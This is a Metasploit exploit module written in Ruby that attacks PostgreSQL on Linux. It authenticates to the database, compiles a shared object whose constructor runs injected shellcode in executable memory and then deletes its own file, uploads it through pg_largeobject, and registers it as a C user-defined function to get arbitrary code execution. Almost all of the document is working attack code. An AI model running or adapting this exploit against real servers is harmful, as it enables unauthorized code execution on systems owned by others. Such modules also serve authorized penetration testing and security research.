PostgreSQL for Linux Payload Execution



###

# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Postgres
    include Msf::Auxiliary::Report

    # Creates an instance of this module.
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PostgreSQL for Linux Payload Execution',
            'Description'    => %q{
                On some default Linux installations of PostgreSQL, the
                postgres service account may write to the /tmp directory, and
                may source UDF Shared Libraries's from there as well, allowing
                execution of arbitrary code.

                This module compiles a Linux shared object file, uploads it to
                the target host via the UPDATE pg_largeobject method of binary
                injection, and creates a UDF (user defined function) from that
                shared object. Because the payload is run as the shared object's
                constructor, it does not need to conform to specific Postgres
                API versions.
            },
            'Author'         =>
            [
                'midnitesnake', # this Metasploit module
                'egypt',        # on-the-fly compiled .so technique
                'todb'          # original windows module this is based on
            ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
                ],
            'Platform'       => 'linux',
            'Payload'        =>
                {
                    'Space'    => 65535,
                    'DisableNops'  => true,
                },
            'Targets'        =>
                [
                    [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
                    [ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jun 05 2007'

            ))

        deregister_options('SQL', 'RETURN_ROWSET')
    end

    # Buncha stuff to make typing easier.
    def username; datastore['USERNAME']; end
    def password; datastore['PASSWORD']; end
    def database; datastore['DATABASE']; end
    def rhost; datastore['rhost']; end
    def rport; datastore['rport']; end
    def verbose; datastore['VERBOSE']; end
    def bits; datastore['BITS'];end

    def execute_command(cmd, opts)
        postgres_sys_exec(cmd)
    end

    def exploit
        version = do_login(username,password,database)
        case version
        when :noauth; print_error "Authentication failed."; return
        when :noconn; print_error "Connection failed."; return
        else
            print_status("#{rhost}:#{rport} - #{version}")
        end

        fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
        tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

        unless tbl && fld && so && oid
            print_error "Could not upload the UDF SO"
            return
        end

        print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
        begin
            func_name = Rex::Text.rand_text_alpha(10)
            postgres_query(
                "create or replace function pg_temp.#{func_name}()"+
                " returns void as '#{so}','#{func_name}'"+
                " language 'C' strict immutable"
            )
        rescue
        end
        postgres_logout if @postgres_conn

    end


    # Authenticate to the postgres server.
    #
    # Returns the version from #postgres_fingerprint
    def do_login(user=nil,pass=nil,database=nil)
        begin
            password = pass || postgres_password
            vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
            result = postgres_fingerprint(
                :db => database,
                :username => user,
                :password => password
            )
            if result[:auth]
                report_service(
                    :host => rhost,
                    :port => rport,
                    :name => "postgres",
                    :info => result.values.first
                )
                return result[:auth]
            else
                return :noauth
            end
        rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
            return :noconn
        end
    end


    def payload_so(filename)
        shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
        #shellcode = "\\xcc"

        c = %Q^
            int _exit(int);
            int printf(const char*, ...);
            int perror(const char*);
            void *mmap(int, int, int, int, int, int);
            void *memcpy(void *, const void *, int);
            int mprotect(void *, int, int);
            int fork();
            int unlink(const char *pathname);

            #define MAP_PRIVATE 2
            #define MAP_ANONYMOUS 32
            #define PROT_READ 1
            #define PROT_WRITE 2
            #define PROT_EXEC 4

            #define PAGESIZE 0x1000

            char shellcode[] = "#{shellcode}";

            void run_payload(void) __attribute__((constructor));

            void run_payload(void)
            {
                int (*fp)();
                fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

                memcpy(fp, shellcode, sizeof(shellcode));
                if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
                    _exit(1);
                }
                if (!fork()) {
                    fp();
                }

                unlink("#{filename}");
                return;
            }

        ^

        cpu = case target_arch.first
            when ARCH_X86; Metasm::Ia32.new
            when ARCH_X86_64; Metasm::X86_64.new
            end
        payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

        so_file = payload_so.encode_string(:lib)

        so_file
    end
end